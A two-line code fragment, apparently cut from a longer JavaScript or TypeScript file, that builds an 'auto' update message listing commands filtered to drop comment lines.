     const message = choice === "auto"
         ? `Run the following commands to update:\n${commands.filter((c) => !c.startsWith("#")).join("\n")}`